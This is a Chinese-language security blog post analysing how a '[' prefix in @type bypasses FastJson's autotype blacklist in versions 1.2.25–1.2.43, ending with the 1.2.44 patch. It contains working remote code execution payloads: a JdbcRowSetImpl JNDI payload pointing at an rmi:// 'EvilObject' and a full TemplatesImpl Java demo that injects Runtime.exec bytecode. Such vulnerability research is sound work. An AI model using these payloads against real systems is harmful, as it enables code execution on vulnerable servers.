0%

FastJson反序列化回顾系列(四)

上一个回顾中打补丁的方式是若存在一个L;就去掉,若存在两个,则抛出异常。看起来已经无法通过添加L;的方式来进行。之前在回顾系列(二)中提到过,除了添加L;之后,还可以添加[,不过在当时并没成功。事实上,它是可以成功的。这篇文件就介绍了这一方式。

整个复现系列的payload放在了github上。

漏洞信息

影响版本

  • 1.2.25 <= fastjson <= 1.2.43

利用条件

  • 打开autotype

漏洞分析

由于打补丁的方式非常简单粗暴,若className开头是LL就会抛出错误,所以无法利用LL这个点了。如下所示:

考虑利用另一个点[。定位到loadClass()函数。

之前分析得很浅,因为length为0,会抛出异常。我们直接加[是不可以的,那么应该如何构造使之能够可以呢?

根据FastJson反序列化的流程,由于@type是一个[,因此会调用到com.alibaba.fastjson.serializer.ObjectArrayCodeC.class中的deserialze()函数,跟进去,然后定位到如下图所示的位置:

首先通过clazz.getComponentType()获取到componentType,然后进入parser.parseArry()函数,跟进它。

可以看到此时的token值若不为14,即当前不为[,就会抛出异常,因此在””值后面紧跟着[。然后会进入lexer.nextToken(),跟进它。

如果当前的ch为

  • {,即在[之后的为{,则将token赋值为12,且移到下一个字符"
  • [,即在[之后的为[,则将token赋值为14,且移到下一个字符"

事实上,这里只能写{,因为若token为14,在接下来的过程中会报错,我们后续会讲到这一点。

在经历完这个之后,最终会走到((ObjectDeserializer)deserializer).deserialze()函数,如下图所示:

跟进它,它又会将后续的值进行反序列化。如下所示:

最终会调用到给autoCommit赋值的setAutoCommit函数,从而RCE。

那么再考虑一下上述第二种方式为什么不可以。同样跟进到deserialze函数里,如下图所示:

它最终抛出异常,从而无法RCE。

EXP构造

JdbcRowSetImpl

根据上述分析,EXP如下所示:

1
2
3
4
5
{
"@type":"[com.sun.rowset.JdbcRowSetImpl"[{
"dataSourceName":"rmi://127.0.0.1:1099/EvilObject",
"autoCommit":true
}

完整的demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

//@dependency{fastjson:1.2.25-1.2.43}
public class jdbcrowsetimpl4 {
public static void main(String args[]) {
String payload = "{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{\"dataSourceName\":\"rmi://127.0.0.1:1099/EvilObject\",\"autoCommit\":true}";
ParserConfig config = new ParserConfig();
config.getGlobalInstance().setAutoTypeSupport(true);
Object res = JSON.parse(payload);

}
}

TemplatesImpl

完整的demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.codec.binary.Base64;

import java.io.*;

//@dependency{fastjson:1.2.25-1.2.43}
public class templatesimpl4 {
public static class StubTransletPayload extends AbstractTranslet implements Serializable {
private static final long serialVersionUID = -5971610431559700674L;

public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}


public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException{}
}

public static void main(String[] args) throws Exception{

String command = "/Applications/Calculator.app/Contents/MacOS/Calculator";
String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
"\");";

ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass clazz = pool.get(StubTransletPayload.class.getName());

clazz.makeClassInitializer().insertAfter(cmd);
CtClass superC = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superC);

byte[] classBytes = clazz.toBytecode();

String bytes1 = Base64.encodeBase64String(classBytes);
String NASTY_CLASS = "[com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String text1 = "{\"@type\":\"" + NASTY_CLASS +
"\"[{\"_bytecodes\":[\""+bytes1+"\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ }," +
"\"_name\":\"a\",\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}\n";

ParserConfig config = new ParserConfig();
config.getGlobalInstance().setAutoTypeSupport(true);
Object res = JSON.parse(text1, Feature.SupportNonPublicField);


}
}

补丁

从这个补丁可以看出,在1.2.44版本中,它删掉了原来的判断LL的方式,而是改为了若以[开头或以;结尾,都会抛出异常。

参考